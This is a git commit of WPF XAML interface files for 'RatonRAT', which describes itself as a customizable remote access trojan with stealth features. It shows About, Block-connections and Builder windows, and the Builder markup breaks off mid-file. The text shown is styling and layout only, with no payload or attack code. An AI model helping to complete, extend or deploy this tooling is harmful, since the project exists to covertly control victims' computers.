initial commit

This commit is contained in:
i2p
2026-08-27 11:23:13 -06:00
commit 21b93ff794
837 changed files with 181368 additions and 0 deletions
+119
View File
@@ -0,0 +1,119 @@
<Window x:Class="Raton.Windows.About"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
Title="About" Height="500" Width="640" Background="#1C1C1C" WindowStartupLocation="CenterOwner"
ResizeMode="NoResize" Icon="/Raton;component/RATA.ico">
<FrameworkElement.Resources>
<Style x:Key="LinkButton" TargetType="{x:Type Button}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Foreground" Value="#7B8FD4"/>
<Setter Property="Control.FontSize" Value="12"/>
<Setter Property="Control.Padding" Value="0"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<TextBlock Text="{TemplateBinding ContentControl.Content}" Foreground="{TemplateBinding Control.Foreground}"
FontSize="{TemplateBinding Control.FontSize}" TextDecorations="Underline"/>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter Property="Control.Foreground" Value="#A0B4FF"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type ScrollBar}">
<Setter Property="FrameworkElement.Width" Value="6"/>
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ScrollBar}">
<Grid>
<Track x:Name="PART_Track" IsDirectionReversed="true">
<Track.DecreaseRepeatButton>
<RepeatButton Command="ScrollBar.PageUpCommand" Opacity="0" Height="0"/>
</Track.DecreaseRepeatButton>
<Track.Thumb>
<Thumb>
<Control.Template>
<ControlTemplate TargetType="{x:Type Thumb}">
<Border Background="#444" CornerRadius="3"/>
</ControlTemplate>
</Control.Template>
</Thumb>
</Track.Thumb>
<Track.IncreaseRepeatButton>
<RepeatButton Command="ScrollBar.PageDownCommand" Opacity="0" Height="0"/>
</Track.IncreaseRepeatButton>
</Track>
</Grid>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</FrameworkElement.Resources>
<FrameworkElement.Triggers>
<EventTrigger RoutedEvent="Window.Loaded">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetName="Root" Storyboard.TargetProperty="Opacity" From="0" To="1"
Duration="0:0:0.35">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</FrameworkElement.Triggers>
<Grid x:Name="Root">
<Grid.RowDefinitions>
<RowDefinition Height="Auto"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="#FF202020" BorderBrush="#333333" BorderThickness="0,0,0,1" Padding="20,16">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<Border Grid.Column="0" Width="52" Height="52" CornerRadius="12" Margin="0,0,16,0"
VerticalAlignment="Center">
<Border.Background>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,1">
<GradientStop Color="#5C4B8A" Offset="0"/>
<GradientStop Color="#FF352F40" Offset="1"/>
</LinearGradientBrush>
</Border.Background>
<Image Source="/Assets/RATA.png" Stretch="Fill" HorizontalAlignment="Center" VerticalAlignment="Center"
Height="32" Margin="10" Width="32"/>
</Border>
<StackPanel Grid.Column="1" VerticalAlignment="Center">
<TextBlock Text="RatonRAT" Foreground="White" FontSize="20" FontWeight="Bold" TextAlignment="Left"/>
<TextBlock Text="A free, customizable RAT with advanced client management and stealth features"
Foreground="#888888" FontSize="11.5" TextWrapping="Wrap" TextAlignment="Left" Margin="0,3,0,8"/>
<StackPanel Orientation="Horizontal">
<Button Click="BtnCommunity_Click" x:Name="BtnCommunity" Content="Join our community"
Style="{StaticResource LinkButton}" Margin="0,0,14,0"/>
<Button Click="BtnGithub_Click" x:Name="BtnGithub" Content="Visit my Github"
Style="{StaticResource LinkButton}" Margin="0,0,14,0"/>
<Button Click="BtnBitcoin_Click" x:Name="BtnBitcoin" Content="Copy bitcoin address"
Style="{StaticResource LinkButton}"/>
</StackPanel>
</StackPanel>
</Grid>
</Border>
<Border Grid.Row="1" Margin="0">
<TextBox x:Name="TxtChangelog" Background="#1A1A1A" Foreground="#CCCCCC" FontFamily="Microsoft JhengHei"
FontSize="12.5" BorderThickness="0" IsReadOnly="true" TextWrapping="Wrap"
VerticalScrollBarVisibility="Auto" HorizontalScrollBarVisibility="Disabled" Padding="20,16"
CaretBrush="Transparent" SelectionBrush="#3A3A6A" HorizontalAlignment="Left" Width="634"
Cursor="Arrow"/>
</Border>
</Grid>
</Window>
+204
View File
@@ -0,0 +1,204 @@
<Window x:Class="Raton.RatonForms.BlockWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
Loaded="Window_Loaded" Closing="Window_Closing" Title="Block connections" Height="411.368"
Width="340" Background="#FF202020" WindowStartupLocation="CenterOwner" ResizeMode="NoResize"
Icon="/Raton;component/RATA.ico">
<FrameworkElement.Resources>
<Style x:Key="DarkTextBox" TargetType="{x:Type TextBox}">
<Setter Property="Control.Background" Value="#2A2A2A"/>
<Setter Property="Control.Foreground" Value="#888888"/>
<Setter Property="TextBoxBase.CaretBrush" Value="#AAAAAA"/>
<Setter Property="Control.BorderBrush" Value="#383838"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.FontSize" Value="12"/>
<Setter Property="Control.Padding" Value="8,0"/>
<Setter Property="FrameworkElement.Height" Value="30"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type TextBox}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="4">
<ScrollViewer x:Name="PART_ContentHost"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter TargetName="Bd" Property="Border.BorderBrush" Value="#7C4DFF"/>
<Setter Property="Control.Foreground" Value="White"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="DarkListBox" TargetType="{x:Type ListBox}">
<Setter Property="Control.Background" Value="#222222"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="Control.BorderBrush" Value="#383838"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.FontSize" Value="12"/>
<Setter Property="Control.Padding" Value="0,2"/>
<Setter Property="ScrollViewer.HorizontalScrollBarVisibility" Value="Disabled"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ListBox}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="4">
<ScrollViewer Focusable="false" Padding="{TemplateBinding Control.Padding}">
<ItemsPresenter/>
</ScrollViewer>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type ListBoxItem}">
<Setter Property="Control.Padding" Value="8,5"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ListBoxItem}">
<Border x:Name="Bd" Background="Transparent" CornerRadius="3" Margin="2,1">
<ContentPresenter Margin="{TemplateBinding Control.Padding}" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#2E2E2E"/>
</Trigger>
<Trigger Property="ListBoxItem.IsSelected" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3A2D6A"/>
<Setter Property="Control.Foreground" Value="White"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="ActionButton" TargetType="{x:Type Button}">
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.FontSize" Value="12.5"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="FrameworkElement.Height" Value="34"/>
<Setter Property="Control.Background" Value="#7C4DFF"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" CornerRadius="6">
<StackPanel Orientation="Horizontal" HorizontalAlignment="Center" VerticalAlignment="Center">
<TextBlock FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="White" VerticalAlignment="Center"
Margin="0,0,7,0" Text="{TemplateBinding FrameworkElement.Tag}"/>
<ContentPresenter VerticalAlignment="Center"/>
</StackPanel>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#8D60FF"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#6A3DE8"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type ContextMenu}">
<Setter Property="FrameworkElement.OverridesDefaultStyle" Value="true"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ContextMenu}">
<Border Background="#242424" BorderBrush="#383838" BorderThickness="1" CornerRadius="5" Padding="0,3">
<UIElement.Effect>
<DropShadowEffect Color="Black" BlurRadius="12" ShadowDepth="2" Opacity="0.5"/>
</UIElement.Effect>
<ItemsPresenter/>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type MenuItem}">
<Setter Property="FrameworkElement.OverridesDefaultStyle" Value="true"/>
<Setter Property="Control.Foreground" Value="#DDDDDD"/>
<Setter Property="Control.FontSize" Value="12"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type MenuItem}">
<Border x:Name="Bd" Background="Transparent" CornerRadius="3" Margin="3,1" Padding="8,5">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="18"/>
<ColumnDefinition/>
</Grid.ColumnDefinitions>
<ContentPresenter Content="{TemplateBinding MenuItem.Icon}" HorizontalAlignment="Center" VerticalAlignment="Center"/>
<ContentPresenter Grid.Column="1" ContentSource="Header" VerticalAlignment="Center" Margin="6,0,0,0"/>
</Grid>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="MenuItem.IsHighlighted" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#333333"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type Separator}">
<Setter Property="FrameworkElement.OverridesDefaultStyle" Value="true"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Separator}">
<Border Height="1" Background="#383838" Margin="6,3"/>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</FrameworkElement.Resources>
<FrameworkElement.Triggers>
<EventTrigger RoutedEvent="Window.Loaded">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetName="Root" Storyboard.TargetProperty="Opacity" From="0" To="1" Duration="0:0:0.3">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</FrameworkElement.Triggers>
<StackPanel x:Name="Root" Margin="14,12,14,14">
<StackPanel Margin="0,0,0,10">
<TextBlock Text="Block connections" Foreground="White" FontSize="14" FontWeight="Bold" Margin="0,0,0,3"/>
<TextBlock Text="Block connections by the IP or Username" Foreground="#555" FontSize="11"/>
</StackPanel>
<TextBox GotFocus="TextBox1_GotFocus" LostFocus="TextBox1_LostFocus" KeyDown="TextBox1_KeyDown"
x:Name="textBox1" Style="{StaticResource DarkTextBox}" Text="Enter the IP or Username here"
Margin="0,0,0,6"/>
<ListBox x:Name="listBox1" Style="{StaticResource DarkListBox}" Height="170" Margin="0,0,0,10">
<FrameworkElement.ContextMenu>
<ContextMenu>
<MenuItem Click="ClearAll_Click" Header="Clear all">
<MenuItem.Icon>
<TextBlock FontFamily="Segoe MDL2 Assets" Text="" FontSize="12" Foreground="#AAAAAA" TextAlignment="Center"/>
</MenuItem.Icon>
</MenuItem>
<Separator/>
<MenuItem Click="RemoveSelected_Click" Header="Remove selected">
<MenuItem.Icon>
<TextBlock FontFamily="Segoe MDL2 Assets" Text="" FontSize="12" Foreground="#EF5350" TextAlignment="Center"/>
</MenuItem.Icon>
</MenuItem>
</ContextMenu>
</FrameworkElement.ContextMenu>
</ListBox>
<Button Click="BtnBlock_Click" x:Name="BtnBlock" Content="Block" Tag=""
Style="{StaticResource ActionButton}" Margin="0,0,0,6" Background="#FF5C3D8F"/>
<Button Click="BtnUnblock_Click" x:Name="BtnUnblock" Content="Unblock" Tag=""
Style="{StaticResource ActionButton}" Background="#FF5C3D8F"/>
</StackPanel>
</Window>
+857
View File
@@ -0,0 +1,857 @@
<Window x:Class="Raton.Windows.Builder"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
Title="Builder" Height="720" Width="1020" MinHeight="620" MinWidth="860" Background="#141414"
WindowStartupLocation="CenterScreen" ResizeMode="CanResize" FontFamily="Segoe UI">
<FrameworkElement.Resources>
<Style TargetType="{x:Type ScrollBar}">
<Setter Property="FrameworkElement.Width" Value="6"/>
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ScrollBar}">
<Grid>
<Track x:Name="PART_Track" IsDirectionReversed="true">
<Track.DecreaseRepeatButton>
<RepeatButton Command="ScrollBar.PageUpCommand" Opacity="0" Height="0"/>
</Track.DecreaseRepeatButton>
<Track.Thumb>
<Thumb>
<Control.Template>
<ControlTemplate TargetType="{x:Type Thumb}">
<Border Background="#444" CornerRadius="3"/>
</ControlTemplate>
</Control.Template>
</Thumb>
</Track.Thumb>
<Track.IncreaseRepeatButton>
<RepeatButton Command="ScrollBar.PageDownCommand" Opacity="0" Height="0"/>
</Track.IncreaseRepeatButton>
</Track>
</Grid>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type ScrollViewer}">
<Setter Property="Control.Background" Value="Transparent"/>
</Style>
<Style TargetType="{x:Type TabControl}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="Control.Padding" Value="0"/>
</Style>
<Style TargetType="{x:Type TabItem}">
<Setter Property="UIElement.Visibility" Value="Collapsed"/>
</Style>
<Style x:Key="SideNav" TargetType="{x:Type Border}">
<Setter Property="Border.CornerRadius" Value="7"/>
<Setter Property="Border.Padding" Value="12,10"/>
<Setter Property="FrameworkElement.Margin" Value="0,1"/>
<Setter Property="Border.Background" Value="Transparent"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="UIElement.RenderTransformOrigin" Value="0,0.5"/>
<Setter Property="UIElement.RenderTransform">
<Setter.Value>
<TranslateTransform X="0"/>
</Setter.Value>
</Setter>
<Style.Triggers>
<EventTrigger RoutedEvent="MouseEnter">
<BeginStoryboard>
<Storyboard>
<ColorAnimation Storyboard.TargetProperty="Background.Color" To="#242424" Duration="0:0:0.12"/>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.X)" To="3"
Duration="0:0:0.12"/>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
<EventTrigger RoutedEvent="MouseLeave">
<BeginStoryboard>
<Storyboard>
<ColorAnimation Storyboard.TargetProperty="Background.Color" To="#00000000" Duration="0:0:0.14"/>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.X)" To="0"
Duration="0:0:0.14"/>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</Style.Triggers>
</Style>
<Style x:Key="SideNavActive" TargetType="{x:Type Border}" BasedOn="{StaticResource SideNav}">
<Setter Property="Border.Background" Value="#1E1A2E"/>
</Style>
<Style x:Key="NavIco" TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.FontFamily" Value="Segoe MDL2 Assets"/>
<Setter Property="TextBlock.FontSize" Value="14"/>
<Setter Property="TextBlock.Foreground" Value="#555"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
<Setter Property="FrameworkElement.Margin" Value="0,0,10,0"/>
<Setter Property="FrameworkElement.Width" Value="18"/>
<Setter Property="TextBlock.TextAlignment" Value="Center"/>
</Style>
<Style x:Key="NavIcoActive" TargetType="{x:Type TextBlock}" BasedOn="{StaticResource NavIco}">
<Setter Property="TextBlock.Foreground" Value="#A87FE8"/>
</Style>
<Style x:Key="NavLbl" TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#666"/>
<Setter Property="TextBlock.FontSize" Value="12.5"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
<Setter Property="TextBlock.FontWeight" Value="Normal"/>
</Style>
<Style x:Key="NavLblActive" TargetType="{x:Type TextBlock}" BasedOn="{StaticResource NavLbl}">
<Setter Property="TextBlock.Foreground" Value="#D4BCFF"/>
<Setter Property="TextBlock.FontWeight" Value="SemiBold"/>
</Style>
<Style x:Key="NavAccent" TargetType="{x:Type Border}">
<Setter Property="FrameworkElement.Width" Value="3"/>
<Setter Property="Border.CornerRadius" Value="2"/>
<Setter Property="Border.Background" Value="#7C4DFF"/>
<Setter Property="UIElement.Visibility" Value="Hidden"/>
<Setter Property="FrameworkElement.Margin" Value="0,6"/>
</Style>
<Style x:Key="NavAccentActive" TargetType="{x:Type Border}" BasedOn="{StaticResource NavAccent}">
<Setter Property="UIElement.Visibility" Value="Visible"/>
</Style>
<Style x:Key="SectionTitle" TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="White"/>
<Setter Property="TextBlock.FontSize" Value="17"/>
<Setter Property="TextBlock.FontWeight" Value="SemiBold"/>
<Setter Property="FrameworkElement.Margin" Value="0,0,0,20"/>
</Style>
<Style x:Key="GroupTitle" TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#CCCCCC"/>
<Setter Property="TextBlock.FontSize" Value="11"/>
<Setter Property="TextBlock.FontWeight" Value="SemiBold"/>
<Setter Property="FrameworkElement.Margin" Value="0,0,0,12"/>
</Style>
<Style x:Key="RowTitle" TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#E0E0E0"/>
<Setter Property="TextBlock.FontSize" Value="12.5"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
<Style x:Key="RowHint" TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#555"/>
<Setter Property="TextBlock.FontSize" Value="11"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
<Setter Property="FrameworkElement.Margin" Value="0,2,0,0"/>
</Style>
<Style TargetType="{x:Type TextBox}">
<Setter Property="Control.Background" Value="#1A1A1A"/>
<Setter Property="Control.Foreground" Value="#E8E8E8"/>
<Setter Property="TextBoxBase.CaretBrush" Value="#7C4DFF"/>
<Setter Property="Control.BorderBrush" Value="#2C2C2C"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.Padding" Value="9,6"/>
<Setter Property="Control.FontFamily" Value="Segoe UI"/>
<Setter Property="Control.FontSize" Value="12"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Setter Property="TextBoxBase.SelectionBrush" Value="#7C4DFF"/>
<Style.Triggers>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter Property="Control.BorderBrush" Value="#5C3D8F"/>
</Trigger>
<Trigger Property="UIElement.IsEnabled" Value="false">
<Setter Property="Control.Foreground" Value="#3A3A3A"/>
<Setter Property="Control.BorderBrush" Value="#222"/>
</Trigger>
</Style.Triggers>
</Style>
<Style x:Key="ToggleSwitch" TargetType="{x:Type ToggleButton}">
<Setter Property="FrameworkElement.Width" Value="40"/>
<Setter Property="FrameworkElement.Height" Value="21"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ToggleButton}">
<Grid>
<Border x:Name="Track" CornerRadius="11" Background="#2A2A2A" Width="40" Height="21"/>
<Ellipse x:Name="Thumb" Width="15" Height="15" Fill="#555" HorizontalAlignment="Left" Margin="3,0,0,0"
VerticalAlignment="Center">
<UIElement.RenderTransform>
<TranslateTransform x:Name="ThumbTx" X="0"/>
</UIElement.RenderTransform>
</Ellipse>
</Grid>
<ControlTemplate.Triggers>
<Trigger Property="ToggleButton.IsChecked" Value="True">
<TriggerBase.EnterActions>
<BeginStoryboard>
<Storyboard>
<ColorAnimation Storyboard.TargetName="Track" Storyboard.TargetProperty="Background.Color" To="#5C3D8F"
Duration="0:0:0.14"/>
<ColorAnimation Storyboard.TargetName="Thumb" Storyboard.TargetProperty="Fill.Color" To="#D4BCFF"
Duration="0:0:0.14"/>
<DoubleAnimation Storyboard.TargetName="ThumbTx" Storyboard.TargetProperty="X" To="19" Duration="0:0:0.14"/>
</Storyboard>
</BeginStoryboard>
</TriggerBase.EnterActions>
<TriggerBase.ExitActions>
<BeginStoryboard>
<Storyboard>
<ColorAnimation Storyboard.TargetName="Track" Storyboard.TargetProperty="Background.Color" To="#2A2A2A"
Duration="0:0:0.14"/>
<ColorAnimation Storyboard.TargetName="Thumb" Storyboard.TargetProperty="Fill.Color" To="#555" Duration="0:0:0.14"/>
<DoubleAnimation Storyboard.TargetName="ThumbTx" Storyboard.TargetProperty="X" To="0" Duration="0:0:0.14"/>
</Storyboard>
</BeginStoryboard>
</TriggerBase.ExitActions>
</Trigger>
<Trigger Property="UIElement.IsEnabled" Value="false">
<Setter TargetName="Track" Property="UIElement.Opacity" Value="0.3"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="BtnBase" TargetType="{x:Type Button}">
<Setter Property="Control.Background" Value="#2C2C2C"/>
<Setter Property="Control.Foreground" Value="#C0C0C0"/>
<Setter Property="Control.FontFamily" Value="Segoe UI"/>
<Setter Property="Control.FontSize" Value="11.5"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="Control.Padding" Value="12,6"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" CornerRadius="5"
Padding="{TemplateBinding Control.Padding}">
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#383838"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#222"/>
</Trigger>
<Trigger Property="UIElement.IsEnabled" Value="false">
<Setter TargetName="Bd" Property="Border.Background" Value="#1E1E1E"/>
<Setter Property="Control.Foreground" Value="#3A3A3A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="BtnPrimary" TargetType="{x:Type Button}" BasedOn="{StaticResource BtnBase}"/>
<Style x:Key="BtnGhost" TargetType="{x:Type Button}" BasedOn="{StaticResource BtnBase}"/>
<Style x:Key="BtnDanger" TargetType="{x:Type Button}" BasedOn="{StaticResource BtnBase}">
<Setter Property="Control.Foreground" Value="#FF7070"/>
</Style>
<Style TargetType="{x:Type ListBox}">
<Setter Property="Control.Background" Value="#111"/>
<Setter Property="Control.Foreground" Value="#CCC"/>
<Setter Property="Control.BorderBrush" Value="#2C2C2C"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.FontSize" Value="12"/>
<Setter Property="Control.Padding" Value="0"/>
<Setter Property="ScrollViewer.HorizontalScrollBarVisibility" Value="Disabled"/>
</Style>
<Style TargetType="{x:Type ListBoxItem}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="#CCC"/>
<Setter Property="Control.Padding" Value="10,5"/>
<Style.Triggers>
<Trigger Property="ListBoxItem.IsSelected" Value="true">
<Setter Property="Control.Background" Value="#1E1A2E"/>
<Setter Property="Control.Foreground" Value="#D4BCFF"/>
</Trigger>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter Property="Control.Background" Value="#1C1C1C"/>
</Trigger>
</Style.Triggers>
</Style>
<Style TargetType="{x:Type RadioButton}">
<Setter Property="Control.Foreground" Value="#888"/>
<Setter Property="Control.FontSize" Value="11.5"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="FrameworkElement.Margin" Value="0,0,10,0"/>
</Style>
<Style TargetType="{x:Type Separator}">
<Setter Property="Control.Background" Value="#222"/>
<Setter Property="FrameworkElement.Height" Value="1"/>
<Setter Property="FrameworkElement.Margin" Value="0,10"/>
</Style>
<Style x:Key="Card" TargetType="{x:Type Border}">
<Setter Property="Border.Background" Value="#1A1A1A"/>
<Setter Property="Border.CornerRadius" Value="9"/>
<Setter Property="Border.Padding" Value="18,14"/>
<Setter Property="FrameworkElement.Margin" Value="0,0,0,10"/>
<Setter Property="UIElement.Effect">
<Setter.Value>
<DropShadowEffect Color="Black" BlurRadius="14" ShadowDepth="2" Opacity="0.35"/>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="BuildBtn" TargetType="{x:Type Button}">
<Setter Property="FrameworkElement.Height" Value="52"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.FontFamily" Value="Segoe UI Semibold"/>
<Setter Property="Control.FontSize" Value="13"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="UIElement.RenderTransformOrigin" Value="0.5,0.5"/>
<Setter Property="UIElement.RenderTransform">
<Setter.Value>
<ScaleTransform ScaleX="1" ScaleY="1"/>
</Setter.Value>
</Setter>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="Bd" CornerRadius="8" Padding="22,0" Background="{TemplateBinding Control.Background}">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<TextBlock Grid.Column="0" FontFamily="Segoe MDL2 Assets" FontSize="18" VerticalAlignment="Center"
Margin="0,0,12,0" Foreground="#D4BCFF"
Text="{Binding Tag, RelativeSource={RelativeSource TemplatedParent}}"/>
<ContentPresenter Grid.Column="1" VerticalAlignment="Center"/>
</Grid>
</Border>
<ControlTemplate.Triggers>
<EventTrigger RoutedEvent="MouseEnter">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleX)" To="1.012"
Duration="0:0:0.12"/>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleY)" To="1.012"
Duration="0:0:0.12"/>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
<EventTrigger RoutedEvent="MouseLeave">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleX)" To="1"
Duration="0:0:0.14"/>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleY)" To="1"
Duration="0:0:0.14"/>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="Bd" Property="UIElement.Opacity" Value="0.82"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</FrameworkElement.Resources>
<Grid x:Name="RootGrid">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="200"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<Border Grid.Column="0" Background="#111111" BorderBrush="#1E1E1E" BorderThickness="0,0,1,0">
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="Auto"/>
<RowDefinition Height="*"/>
<RowDefinition Height="Auto"/>
</Grid.RowDefinitions>
<StackPanel Grid.Row="1" Margin="10,14,10,0">
<Border MouseLeftButtonUp="Nav_Common_Click" x:Name="NavCommon" Style="{StaticResource SideNavActive}">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="*"/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<Border x:Name="AccCommon" Grid.Column="0" Style="{StaticResource NavAccentActive}" Margin="0,0,10,0"/>
